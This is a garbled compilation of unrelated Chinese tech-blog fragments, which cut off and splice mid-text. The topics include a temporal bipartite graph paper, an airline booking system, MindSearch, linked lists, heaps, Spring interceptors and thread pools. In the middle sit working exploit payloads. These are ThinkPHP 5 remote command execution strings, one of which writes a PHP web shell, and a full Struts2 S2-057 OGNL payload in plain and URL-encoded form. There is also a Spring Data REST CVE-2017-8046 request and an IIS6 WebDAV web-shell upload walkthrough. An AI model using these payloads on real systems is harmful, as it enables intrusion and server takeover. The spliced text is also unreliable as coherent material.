摘要 本文提出了一个新的模型(α, β, T)-core,用于在时间双向图上寻找凝聚子图。时间双向图中,不同实体之间的关系随着时间的推移而变化。为了提高查询效率,本文提出了顶点分区和时间分区的历史索引(VH-Index和TH-Index),并进一步提出了时间交集索引(TH*-Index)。实验结果表明,本文提出的模型和算法在多个真实数据集上表现出色。
什么是时间双向图 时间双向图(Temporal Bipartite Graph)是指在图中存在两类不同的顶点集合,并且这些顶点之间的关系(边)随着时间的推移而变化。每条边都有一个时间戳,表示该边在特定时间发生。时间双向图可以用于建模许多现实世界的应用场景,如用户-商品购买关系、作者-论文发表关系等。
时间双向图的构成 顶点集合: 上层顶点集(U):表示一种类型的实体。例如,在用户-商品购买网络中,上层顶点可以表示用户。下层顶点集(L):表示另一种类型的实体。例如,在用户-商品购买网络中,下层顶点可以表示商品。 边集合(E): 边连接上层顶点和下层顶点,表示两种实体之间的关系。例如,用户购买商品。在时间双向图中,边带有时间戳,表示这种关系发生的时间。 举例说明 我们以一个简化的用户-商品购买网络为例,其中:
顶点集U表示用户顶点集L表示商品边表示用户在某一时间购买某一商品每条边都有一个时间戳,表示购买时间 假设有以下用户和商品:
用户U: {Alice, Bob, Carol}商品L: {Book, Pen, Notebook} 时间双向图的边集可以如下表示:
(Alice, Book, 2024-01-01): 表示Alice在2024年1月1日购买了Book
(Bob, Pen, 2024-01-03): 表示Bob在2024年1月3日购买了Pen
(Alice, Notebook, 2024-01-05): 表示Alice在2024年1月5日购买了Notebook
(Carol, Book, 2024-01-06): 表示Carol在2024年1月6日购买了Book
(Bob, Notebook, 2024-01-07): 表示Bob在2024年1月7日购买了Notebook
研究背景 在许多现实世界的应用中,例如作者-论文网络、用户-物品网络等,不同实体之间的关系可以自然地表示为双向图。双向图由两类顶点和连接它们的边组成,这些边只在不同类别的顶点之间存在。在时间双向图中,边不仅连接不同类别的顶点,还带有时间戳,表示这种关系在某一特定时间发生或存在。随着时间的推移,这些关系会发生变化,形成时间双向图。传统的凝聚子图(密集子图)模型没有考虑时间维度,因此无法捕捉关系的动态变化。为了弥补这一不足,本文提出了时间双向图上的(α, β, T)-core模型。
研究问题 本文研究的问题是在时间双向图上找到满足给定度约束的最大子图。具体来说,给定时间窗口T=[ts, te],以及度约束α和β,目标是找到一个子图,使得在该时间窗口内,上层和下层顶点的度分别至少为α和β。
主要贡献 提出新的凝聚子图模型(α, β, T)-core:该模型结合了时间维度,能够捕捉关系的动态变化。设计了高效的索引结构:包括顶点分区历史索引(VH-Index)、时间分区历史索引(TH-Index)和时间交集索引(TH*-Index),以提高查询效率。开发了高效的构建和查询算法:提出了顺序和并行算法,用于高效构建时间交集索引。实验验证:在10个真实数据集上进行了大量实验,验证了模型和算法的有效性和效率。 预备知识 本文使用了一些基本的数学符号和定义:
时间双向图G(V, E):V表示顶点集,E表示带有时间戳的边集。U(G)和L(G):分别表示上层和下层顶点集。快照G[ts, te]:表示在时间窗口[ts, te]内的子图。度和邻居:顶点u在图G中的度表示为deg(u, G),邻居集表示为N(u)。 索引的基本思想 顶点分区历史索引(VH-Index): 基本思想:存储每个顶点在不同时间窗口内的状态,以便快速检索满足(α, β, T)-core条件的顶点。实现方式:对于每个顶点u,VH-Index存储所有可能的(α, β, T)-core组合的时间窗口。 时间分区历史索引(TH-Index): 基本思想:通过按时间存储顶点,减少查询过程中需要访问的顶点数量。实现方式:TH-Index按时间分区存储顶点,将每个时间窗口内的(α, β, T)-core顶点集合存储在一起。 时间交集索引(TH-Index)*: 基本思想:结合VH-Index和TH-Index的优点,既减少存储空间,又提高查询效率。实现方式:通过存储代表性的时间点,减少冗余信息的存储,并在查询时进行交集计算。 索引的构建 顶点分区历史索引(VH-Index): 步骤: 对于每个顶点u和每个可能的α、β组合,计算u在不同时间窗口内的状态。存储每个顶点在不同时间窗口内的状态,以便快速查询。 构建算法: 通过对图进行多次遍历,依次计算每个顶点在各个时间窗口内的(α, β, T)-core状态,并将这些状态存储在VH-Index中。 时间分区历史索引(TH-Index): 步骤:
一、需求分析 飞机航空机票订票系统✈️是一个用于管理航空公司机票销售、查询和相关服务的综合信息系统。该系统旨在为用户(如乘客、旅游代理、航空公司工作人员等)提供便捷、迅速的机票购买和管理功能,同时提升航空公司的运营效率。
🔻飞机航空机票订票系统的主要功能
用户管理:注册与登录:用户可以使用电子邮箱、手机号或社交媒体账户注册账号并登录。账户管理:用户可以修改个人信息、密码,并查看历史订单。
航班查询🔍:航班信息查询:用户可以根据出发地、目的地和日期查询可用航班。实时余票查询:显示各个航班的余票情况,包括不同舱位(经济舱、商务舱、头等舱)的票数。
机票预订💺:选择舱位:用户可以选择舱位类型,并查看对应的票价和服务信息。订单确认:在用户确认订单后,系统生成订单并显示详细信息(如航班号、起降时间、舱位等)。支付功能:支持多种支付方式(如信用卡、支付宝、微信支付等)进行支付。
订单管理📑:订单查询与管理:用户可以查询和管理自己的订单状态,包括未支付、已支付、已发车等状态。退票与改签:提供退票和改签功能,用户可以在航空公司规定的时间内进行操作。
航空公司与航班信息管理🛫:航班信息维护:记录航班的基本信息,包括航班号、起降机场、航班时刻表等。航空公司信息:维护各航空公司的基本信息,如名称、联系方式、服务标准等。
客户支持与服务📞:提供在线客服和常见问题解答,帮助用户解决购票过程中遇到的问题。
优惠活动与促销📚:系统可以发布各类促销活动、打折信息,吸引用户购票。
数据统计与分析:统计售票数据、用户行为和运营数据,为管理决策提供支持。
二、实现分析 💠需求分析:与航空公司、旅行代理、用户等进行沟通,明确系统需要实现的功能和业务流程。
💠系统设计:系统架构设计:选择合适的技术架构(如微服务架构、前后端分离等)。数据库设计:设计数据库模型,定义用户、航班、订单、航空公司等数据表。
💠前端开发:用户界面设计:创建友好、直观的用户界面,提供良好的用户体验。响应式设计:确保应用在各种设备上(PC、手机、平板)均能良好显示。
💠后端开发:业务逻辑实现:开发核心功能模块,包括用户管理、航班查询、机票预订、订单管理等。API开发:设计RESTful API,支持前后端的数据交互。
💠支付集成:集成多种支付接口(如信用卡、支付宝、微信支付),确保安全、便捷的支付体验。
三、数据库设计 1、飞机表
datevarchar255FALSEflight_numvarchar255TRUEstart_cityvarchar255TRUEstart_airportvarchar255TRUEstart_timevarchar255TRUEreach_cityvarchar255TRUEreach_airportvarchar255TRUEreach_timevarchar255TRUEseat_countint11TRUEused_timevarchar255TRUEpricedouble10TRUEidint11TRUE 2、订单表
类型长度名称是否为空order_numvarchar255TRUEdatevarchar255TRUEflight_numvarchar255TRUEstart_cityvarchar255TRUEstart_airportvarchar255TRUEreach_cityvarchar255TRUEreach_airportvarchar255TRUEusernamevarchar255TRUEnamevarchar255FALSEidvarchar255TRUEphonevarchar255FALSEidint11TRUE 四、界面展示 1、登陆界面
2、系统首页
3、查询飞机票
4、退票 5、用户注册
6、修改个人信息
五、资源获取 基于JavaSwing+MySQL的飞机航空机票订票系统(客户端)资源-CSDN文库
随着AI技术的飞速发展,搜索引擎领域也迎来了新的变革。继 OpenAI 发布 SearchGPT 之后,国内也涌现出一批优秀的AI搜索引擎,其中,由中科大和上海人工智能实验室联合研发的 MindSearch(思·索)尤为引人注目。这款开源AI搜索引擎,不仅性能媲美Perplexity.ai Pro,更重要的是,它跳脱了传统搜索引擎的窠臼,不再仅仅依赖关键词匹配,而是模拟人类的思维过程,深度理解用户的搜索意图,并提供更精准、更全面的搜索结果。这款开源AI搜索引擎的出现,无疑为我们打开了一扇通往未来搜索引擎的大门。
MindSearch vs 传统搜索引擎:一场思维方式的革新 试想一下,当你想要了解“量子计算的应用”时,传统的搜索引擎会提供给你什么?
大概率是大量关于量子计算基本概念的网页,需要你花费大量时间自行筛选出关于应用的内容。而 MindSearch 则截然不同,它会像人类一样思考,分析你的问题,并直接呈现量子计算在各个领域的应用案例和深入分析,让你快速精准地获取所需信息。
这种革命性的改变源于 MindSearch 独特的多智能体框架。它不再仅仅关注关键词,而是会分析问题的上下文,并结合知识图谱等技术,深度理解用户的搜索意图,提供更精准、更全面的搜索结果。
MindSearch的优势:深度、广度、准确性兼备
相比于传统的搜索引擎,MindSearch 的优势在于:
深度知识探索: MindSearch 能够浏览数百个网页,提供更广泛、更深层次的答案,帮助用户深入了解某个主题。透明的解决方案路径: MindSearch 会展示其思考路径和搜索关键词等详细信息,提高了搜索结果的可信度和可用性。多种用户界面: MindSearch 提供React、Gradio、Streamlit和本地调试等多种用户界面,方便用户根据自己的需求进行选择。动态图构建: MindSearch 能够将用户查询分解为图中的子问题节点,并根据WebSearcher的搜索结果逐步扩展图,实现更灵活的搜索策略。 MindSearch vs 其他AI搜索引擎:更深度、更透明、更开放 与 ChatGPT-Web、Perplexity.ai(Pro)等 AI 搜索引擎相比,MindSearch 在深度、透明度和开放性方面更胜一筹:
更深度: MindSearch 的多智能体框架能够进行更深层次的推理和分析,提供更深入的知识探索。更透明: MindSearch 会展示其思考路径和搜索关键词等详细信息,提高了搜索结果的可信度和可用性。更开放: MindSearch 是开源的,这意味着开发者可以参与贡献,共同推动其发展,这对于 AI 搜索引擎技术的进步和生态建设具有重要意义。 为了更直观地展现 MindSearch 的优势,我们用 100 个由人类专家精心设计的现实问题,对 ChatGPT-Web、Perplexity.ai(Pro)和 MindSearch 的表现进行了评估,并由 5 位专家进行评分,结果如下:
MindSearch的“思考”之道:多智能体框架,模拟人类认知 MindSearch 的核心竞争力在于其创新的多智能体框架,它包含 WebPlanner 和 WebSearcher 两个关键组件,分别扮演着“思考者”和“执行者”的角色,就如同人类大脑中多个功能区域协同工作。
突破传统搜索引擎的局限,WebPlanner 赋予 MindSearch “思考”的能力 传统的搜索引擎,就像一个只会机械地执行命令的“机器人”,只能根据用户输入的关键词进行匹配,无法理解用户的深层需求。而 MindSearch 的 WebPlanner 则更像一位经验丰富的“侦探”,它能够将用户提出的复杂问题分解成多个子问题,并构建一张清晰的“搜索地图”——有向无环图(DAG),来引导搜索引擎找到最佳答案。
thingphpv5 /index.php
漏洞利用
漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。
远程命令执行
POC:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
getshell:
POC:
phpinfo&vars[1][]=-1
POC:
system&vars[1][]=echo "<?php phpinfo();?>" >>1.php
根目录生成1.php 文件,输出phpinfo
被转义加/
system&vars[1][]=echo%20"<?php @system(\$_GET['cmd']);?>" >>2.php
工具:
struts2 S2-057远程执行代码漏洞
/struts2-showcase
在url处输入/struts2-showcase/${(123+123)}/actionChain1.action
后刷新可以看到中间数字位置相加了。
whoami:
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
url编码后
/struts2-showcase/%24%7b%20%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action
spring Spring Data Rest 远程命令执行命令(CVE-2017-8046) 漏洞利用 访问http://your-ip:8080/customers/1,然后抓取数据包,使用PATCH请求来修改
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
1.链表的概念 概念 链表是⼀种物理存储结构上⾮连续、⾮顺序的存储结构,数据元素的逻辑顺序是通过链表 中的指针链接次序实现的。
链表的结构跟⽕⻋⻋厢相似,淡季时⻋次的⻋厢会相应减少,旺季时⻋次的⻋厢会额外增加⼏节。只 需要将⽕⻋⾥的某节⻋厢去掉/加上,不会影响其他⻋厢,每节⻋厢都是独⽴存在的。
⻋厢是独⽴存在的,且每节⻋厢都有⻋⻔。想象⼀下这样的场景,假设每节⻋厢的⻋⻔都是锁上的状 态,需要不同的钥匙才能解锁,每次只能携带⼀把钥匙的情况下如何从⻋头⾛到⻋尾? 最简单的做法:每节⻋厢⾥都放⼀把下⼀节⻋厢的钥匙。
在链表⾥,每节“⻋厢”是什么样的呢?
与顺序表不同的是,链表⾥的每节"⻋厢"都是独⽴申请下来的空间,我们称之为“结点/节点” 节点的组成主要有两个部分:当前节点要保存的数据和保存下⼀个节点的地址(指针变量)。 图中指针变量plist保存的是第⼀个节点的地址,我们称plist此时“指向”第⼀个节点,如果我们希望plist“指向”第⼆个节点时,只需要修改plist保存的内容为0x0012FFA5。
为什么还需要指针变量来保存下⼀个节点的位置? 链表中每个节点都是独⽴申请的(即需要插⼊数据时才去申请⼀块节点的空间),我们需要通过指针 变量来保存下⼀个节点位置才能从当前节点找到下⼀个节点。 结合前⾯学到的结构体知识,我们可以给出每个节点对应的结构体代码: 假设当前保存的节点为整型:
struct SListNode { int data; //节点数据 struct SListNode* next; //指针变量⽤保存下⼀个节点的地址 }; 当我们想要保存⼀个整型数据时,实际是向操作系统申请了⼀块内存,这个内存不仅要保存整型数 据,也需要保存下⼀个节点的地址(当下⼀个节点为空时保存的地址为空)。 当我们想要从第⼀个节点⾛到最后⼀个节点时,只需要在前⼀个节点拿上下⼀个节点的地址(下⼀个 节点的钥匙)就可以了。 给定的链表结构中,如何实现节点从头到尾的打印?
补充说明 1、链式机构在逻辑上是连续的,在物理结构上不⼀定连续 2、节点⼀般是从堆上申请的3、从堆上申请来的空间,是按照⼀定策略分配出来的,每次申请的空间可能连续,可能不连续
2.手撕单链表 2.1说明 定义三个文件:
SingleLinkedList.h SingleLinkedList.c test.c
头文件用于包含要用到的库文件和定义链表节点的结构,及各类接口的声明
SingleLinkedList.c用于实现各类接口
test.c用于接口的测试
2.2尾插 头文件声明: void SLLPushBack(SLLNode**pphead,SLLDataType x); 实现: void SLLPushBack(SLLNode** pphead, SLLDataType x) { assert(pphead); SLLNode* newnode = BuynewNode(x); if (*pphead == NULL) { *pphead = newnode; } else { SLLNode* ptail = *pphead; while (ptail->next) { ptail = ptail->next; } ptail->next = newnode; } } 首先我们添加断言,不能传空指针过来解引用,在尾插前我们先获取一个新节点见标题2.
二叉树 一.二叉树的顺序结构二.堆的概念及结构三.堆的实现1.堆的结构2.堆的初始化、销毁、打印、判空3.堆中的值交换4.堆顶元素5.堆向上调整算法:实现小堆的插入6.堆向下调整算法:实现小堆的删除7.堆的创建1.堆向上调整算法:建堆+建堆的时间复杂度:O(n * logn)1.堆向下调整算法:建堆+建堆的时间复杂度:O(n) 四.堆的应用1.TOP-K问题2.堆排序+堆排序时间复杂度:O(n * logn) 一.二叉树的顺序结构 普通的二叉树是不适合用数组来存储的,因为可能会存在大量的空间浪费。而完全二叉树更适合使用顺序结构存储。现实中我们通常把堆(完全二叉树)使用顺序结构的数组来存储,需要注意的是这里的堆和操作系统虚拟进程地址空间中的堆是两回事,一个是数据结构,一个是操作系统中管理内存的一块区域分段。
二.堆的概念及结构 堆的性质:
堆中某个结点的值总是不大于或不小于其父结点的值;堆总是一棵完全二叉树。 三.堆的实现 1.堆的结构 将堆(完全二叉树)看作顺序表,利用顺序表存储堆中的值。结构如下:
typedef int HPDataType; typedef struct Heap { HPDataType* a; int size; int capacity; }HP; 2.堆的初始化、销毁、打印、判空 实际就是顺序表的那一套。
void HPInit(HP* php) { assert(php); php->a = NULL; php->size = php->capacity = 0; } void HPDestory(HP* php) { assert(php); free(php->a); php->a = NULL; php->size = php->capacity = 0; } bool HPEmpty(HP* php) { assert(php); return php->size == 0; } void HPPrint(HP* php) { assert(php); for (int i = 0; i < php->size; i++) { printf("
题目描述 给你一个二维数组 points 和一个字符串 s ,其中 points[i] 表示第 i 个点的坐标,s[i] 表示第 i 个点的 标签 。
如果一个正方形的中心在 (0, 0) ,所有边都平行于坐标轴,且正方形内 不 存在标签相同的两个点,那么我们称这个正方形是 合法 的。
请你返回 合法 正方形中可以包含的 最多 点数。
注意:
如果一个点位于正方形的边上或者在边以内,则认为该点位于正方形内。正方形的边长可以为零。 示例 1:
输入:points = [[2,2],[-1,-2],[-4,4],[-3,1],[3,-3]], s = "abdca"
输出:2
解释:
边长为 4 的正方形包含两个点 points[0] 和 points[1] 。
示例 2:
输入:points = [[1,1],[-2,-2],[-2,2]], s = "abb"
输出:1
解释:
边长为 2 的正方形包含 1 个点 points[0] 。
示例 3:
输入:points = [[1,1],[-1,-1],[2,-2]], s = "
🌸个人主页:https://blog.csdn.net/2301_80050796?spm=1000.2115.3001.5343
🏵️热门专栏:
🧊 Java基本语法(97平均质量分)https://blog.csdn.net/2301_80050796/category_12615970.html?spm=1001.2014.3001.5482
🍕 Collection与数据结构 (92平均质量分)https://blog.csdn.net/2301_80050796/category_12621348.html?spm=1001.2014.3001.5482
🧀线程与网络(96平均质量分) https://blog.csdn.net/2301_80050796/category_12643370.html?spm=1001.2014.3001.5482
🍭MySql数据库(93平均质量分)https://blog.csdn.net/2301_80050796/category_12629890.html?spm=1001.2014.3001.5482
🍬算法(97平均质量分)https://blog.csdn.net/2301_80050796/category_12676091.html?spm=1001.2014.3001.5482
🍃 Spring(97平均质量分)https://blog.csdn.net/2301_80050796/category_12724152.html?spm=1001.2014.3001.5482
感谢点赞与关注~~~
目录 1. 拦截器1.1 概念1.2 拦截器的基本使用1.3 拦截器的执行流程1.5 设计模式: 适配器模式1.5.1 定义 2. 统一数据返回格式3. 统一异常处理4. 图书管理系统(应用)4.1 准备数据库4.2 创建实体类4.3 用户登录接口4.4 添加图书接口4.5 图书列表与翻页请求4.6 修改图书接口4.7 删除图书接口4.8 批量删除接口4.9 强制登录 1. 拦截器 1.1 概念 首先什么是拦截器?拦截器主要用来拦截用户请求,在指定方法前后,根据业务需要执行的预先设定的代码.也就是允许开发人员预先设定一些代码,在用户请求响应前后执行.也可以在用户请求之前组织其执行.
就像小区门口的保安一样,会对外面的形形色色的人进行拦截一样.
1.2 拦截器的基本使用 拦截器的使用分为两步:
定义拦截器注册配置拦截器. 首先,我们设计一个自定义拦截器.这个自定义拦截器需要实现HandlerInterceptor接口,并重写其中的所有方法.
@Component @Slf4j public class Interceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { log.info("在执行目标方法之前"); return true; } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { log.
集群和分布式,都是描述的一组计算机。集群的所有节点跑的是同样的任务,集群本质是多台服务器联合起来独立做相同的任务(多个服务器分担客户端发来的请求) 。而分布式系统的节点跑的是分解后的任务,分布式本质是多台服务器协同配合完成同一个大任务(每个服务器都只完成大任务拆分出来的单独1个子任务)
分布式就是一组计算机做不同的任务,集群就是一组计算机做相同的任务。比如:去到一个小的餐馆,不同的人做不同的事情,厨师负责炒菜,服务员负责点菜,上菜,老板负责收钱,这就是分布式的工作方式。如果你去海底捞,会有很多服务员负责点菜,不同的服务员为不同桌顾客点餐服务,这么多点菜的服务员就是一个集群,做着同样的任务,就是一种集群的工作方式。
本讲概述
一、自制数据集 我们用六万张数字图片自制训练集,一万张数字图片制作测试集
代码(注释已经很清楚了,就不解释了):
def generateds(path, txt): f = open(txt, 'r') # 以只读形式打开txt文件 contents = f.readlines() # 读取文件中所有行 f.close() # 关闭txt文件 x, y_ = [], [] # 建立空列表 for content in contents: # 逐行取出 value = content.split() # 以空格分开,图片路径为value[0] , 标签为value[1] , 存入列 img_path = path + value[0] # 拼出图片路径和文件名 img = Image.open(img_path) # 读入图片 img = np.array(img.convert('L')) # 图片变为8位宽灰度值的np.array格式 img = img / 255. # 数据归一化 (实现预处理) x.append(img) # 归一化后的数据,贴到列表x y_.
创建第一个小程序 1、小程序简介2、第一个小程序:注册小程序开发账号3、第一个小程序:安装开发者工具3.1 了解微信开发者工具3.2下载安装3.3 扫描登录 4、创建小程序项目5、小程序代码的构成5.1json配置文件5.2WXML模板5.3WXSS样式5.4JS 逻辑交互 6、宿主环境简介7、组件8、协同工作9、发布上线 前言:读研期间每天靠着国家低保+课题组补助生存有点困难,因此想要学习开发个小程序,接一些外快,学习资料主要参考的是黑马程序员的小程序课程的文档,如果你会html,css,js,vue的话学起来会更快,不会的话也没关系。学习过程中遇到了很多问题和一些坑,在文章中我会分享出来,下次开始咱们的开发小程序之旅吧!
第一天你将学会以下内容:
① 能够知道如何创建小程序项目
⚫ 微信开发者工具的使用、appID 的获取
② 能够清楚小程序项目的基本组成结构
⚫ app.js、app.json、app.wxss、pages 文件夹
③ 能够知道小程序页面由几部分组成
⚫ wxml、wxss、json、js
④ 能够知道小程序中常见的组件如何使用
⚫ view、text、image
⑤ 能够知道小程序如何进行协同开发和发布
⚫ 成员管理、发布小程序、查看运营数据
1、小程序简介 小程序是一种不需要下载安装即可使用的应用,它实现了应用的即搜即用的概念。小程序具备以下特点:
无需下载安装:用户通过微信、支付宝、百度等平台搜索或扫描小程序码即可打开使用,无需在手机上安装额外的应用。触手可及:小程序可以快速地触达用户,满足用户的即时需求。用完即走:用户在使用完小程序后,无需担心占用手机存储空间,可以随时关闭。功能丰富:小程序可以提供消息通知、线下扫码、分享转发等多种功能,满足不同场景下的需求。开发成本较低:相较于传统APP,小程序的开发周期更短,成本更低。跨平台兼容:小程序可以在多个平台上运行,如微信、支付宝、百度等,覆盖了广泛的用户群体。 2、第一个小程序:注册小程序开发账号 温馨提示:一个身份证最多只能注册5个小程序账号,所以要慎重使用自己的身份证。当注册满了以后会提示:该身份证记登记过5次,请使用另一个身份证完成用户信息登记。
个人小程序不支持微信认证,微信支付以及高级接口能力
小程序的AppID(Application ID)是小程序在特定平台上的唯一标识符。每个小程序在注册时都会被分配一个AppID,它是小程序开发者进行开发、调试和发布的关键凭证之一。以下是关于小程序AppID的一些详细信息:
获取AppID: 在微信小程序中,开发者需要在微信公众平台注册小程序,完成相关认证后,系统会分配一个AppID。在支付宝小程序中,开发者需要在支付宝开放平台注册并创建小程序,同样会获得一个AppID。在百度智能小程序中,开发者需要在百度智能小程序平台注册,并通过审核后获得AppID。 使用AppID: 在开发过程中,AppID用于小程序的配置文件(如微信小程序的app.json)中,以便于平台识别和管理小程序。在调试阶段,开发者需要使用AppID来启用开发工具的相关功能,如模拟支付、授权登录等。在发布小程序时,AppID是必不可少的,它用于提交审核和上线。 AppID的作用: 识别唯一性:确保小程序在平台上的唯一性。权限验证:用于获取平台提供的各种服务权限,如用户信息、支付功能等。数据统计:平台会根据AppID收集小程序的运营数据,如访问量、用户行为等。 保密性: AppID是敏感信息,开发者应当妥善保管,避免泄露给第三方,以免造成不必要的风险。
如果你是小程序开发者,你可以按照以下步骤找到你的AppID: 微信小程序:登录微信公众平台 -> 小程序 -> 开发管理 -> 基本设置,在这里可以找到你的AppID。支付宝小程序:登录支付宝开放平台 -> 小程序中心 -> 管理中心 -> 基本信息页面,可以查看到AppID。百度智能小程序:登录百度智能小程序平台 -> 控制台 -> 小程序详情,可以找到AppID。 小程序的appID很重要,以后开发要用到。
3、第一个小程序:安装开发者工具 3.1 了解微信开发者工具 3.
视频和音频是ANimate软件中比较重要的素材类型。
FlashASer:AdobeAnimate2021软件零基础入门教程https://zhuanlan.zhihu.com/p/633230084
FlashASer:实用的各种Adobe Animate软件教程https://zhuanlan.zhihu.com/p/675680471
FlashASer:Animate教程及作品源文件https://zhuanlan.zhihu.com/p/677437436
FlashASer:Animate 2022零基础应用教程之教师篇https://zhuanlan.zhihu.com/p/555447498
FlashASer:Animate2021从入门到提升系列教程https://zhuanlan.zhihu.com/p/507172536
——视频—— 在 Adobe Animate 中嵌入视频时,视频文件数据将添加到 Animate 文件中。这会导致 Animate 文件及随后生成的 SWF 文件比较大。视频被放置在时间轴中,可以在此查看在时间轴帧中显示的单独视频帧。由于每个视频帧都由时间轴中的一个帧表示,因此视频剪辑和 SWF 文件的帧速率必须设置为相同的速率。 如果对 SWF 文件和嵌入的视频剪辑使用不同的帧速率,视频播放将不一致。对于播放时间少于 10 秒的较小视频剪辑,嵌入视频的效果最好。如果正在使用播放时间较长的视频剪辑,可以考虑使用渐进式下载的视频,或者使用 Flash Media Server 传送视频流。
——音频—— Adobe Animate 提供多种使用声音的方式。可以使声音独立于时间轴连续播放,或使用时间轴将动画与音轨保持同步。向按钮添加声音可以使按钮具有更强的互动性,通过声音淡入淡出还可以使音轨更加优美。 Animate 中有两种声音类型:事件声音和流声音(音频流):
事件声音必须完全下载后才能开始播放,而且除非明确停止,否则它将一直连续播放。
音频流在前几帧下载了足够的数据后就开始播放;音频流要与时间轴同步以便在网站上播放。
一.漏洞描述 IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写⼊的权限,造成任意⽂件上传
1.1环境搭建 环境 fofa:"IIS-6.0"
本地搭建2003 server
1.2漏洞复现 1.开启 WebDAV 和写权限:
1.3 漏洞复现 使用burp ⽤burpsuite 提交OPTIONS 查看⽀持的协议
多余的删掉 只留下面的三个 那么我们的shell.txt 就传进来了 但是txt不能被当作asp
使用move命令去更改后缀 207 就是对的
然后我们的shell.asp就成功写入了
我们就可以写入一句话木马然后去用蚁剑或者哥斯拉连接了
这样就完成了
目录 前言
什么是线程池
线程池的优点
ThreadPollExecutor中的构造方法
corePoolSize && maximumPoolSize
keepAliveTime && unit
workQueue
threadFactory
如何在java中使用线程池
1.创建线程池对象
2.调用submit添加任务
3.调用shutdown关闭线程池
手动实现线程池
创建一个线程池类
测试
前言 在前面我们都是通过new Thread() 来创建线程的,虽然在java中对线程的创建、中断、销毁、等值等功能提供了支持,但从操作系统角度来看,频繁的创建和销毁线程,是需要大量的时间和资源的。那么我们能不能先把线程提前从系统中申请好,需要使用线程的时候,直接从这个地方取出来,而不是从系统中重新申请,等线程用完之后,也是放回到这个地方,而不用频繁的进行创建和销毁呢?那我们就需要用到线程池,线程池能够提高程序的效率。
什么是线程池 线程池 (ThreadPool) 是一种多线程处理形式,处理过程中将任务添加到队列,然后在创建后保持活动的线程中执行这些任务。线程池的主要目的是减少创建和销毁线程的开销,提高响应速度和整体性能。
为什么说线程池里取线程,比从系统中创建一个线程效率要高呢?
我们从线程池里直接取出线程是纯用户态操作,而我们新建一个线程是内核态+用户态配合完成的。
内核态:指操作系统内核及其相关组件(如设备驱动程序)运行的状态。
用户态:指用户程序(如应用程序和服务)运行的状态。
操作系统=操作系统内核+操作系统配套的应用程序
假设现在要去银行办银行卡,那么银行内部人员就是内核态,前往办卡的就为用户态。
如果我们想要办卡,就走到小窗口向柜员说明情况,此时柜员就会帮你进行操作。但如果此过柜员问你要身份证复印件,如果没有,那么就需要去进行打印。
若请求柜员帮你进行打印,那么柜员什么时候打印,这个是不确定的,效率较低。这种就是用户态+内核态,调用系统API,由系统内核来完成这一系列操作。
若我们自己去自助复印机进行复印,整个过程就是连贯可控的,效率较高。这种就是纯用户态,由我们自己控制。
线程池的优点 减少资源消耗:通过重复利用已创建的线程,减少了创建和销毁线程所需的资源开销。提高响应速度:当有新的任务到达时,若线程池中有空闲的线程,任务可以直接执行,无需等待新的线程创建。防止资源耗尽:通过限制线程池中的最大线程数,可以避免因创建过多线程而引起的资源耗尽问题。提高线程利用率:线程池中的线程可以被重复利用。 线程池最大的好处就是减少每次启动、销毁线程的损耗。
ThreadPollExecutor中的构造方法 在java中,给我们提供了现成的线程池供我们来使用。 我们可以看一下标准库中的线程池,在java.util.concurrent中给我们提供线程池的相关方法。
在点开concurrent之后,我们在接口中往下划,找到ThreadPoolExecutor类。我们可以看到,ThreadPoolExecutor类的构造方法有着好几个参数,那么这些参数都是什么意思呢?
‘’
我们拿第四个构造方法来看。
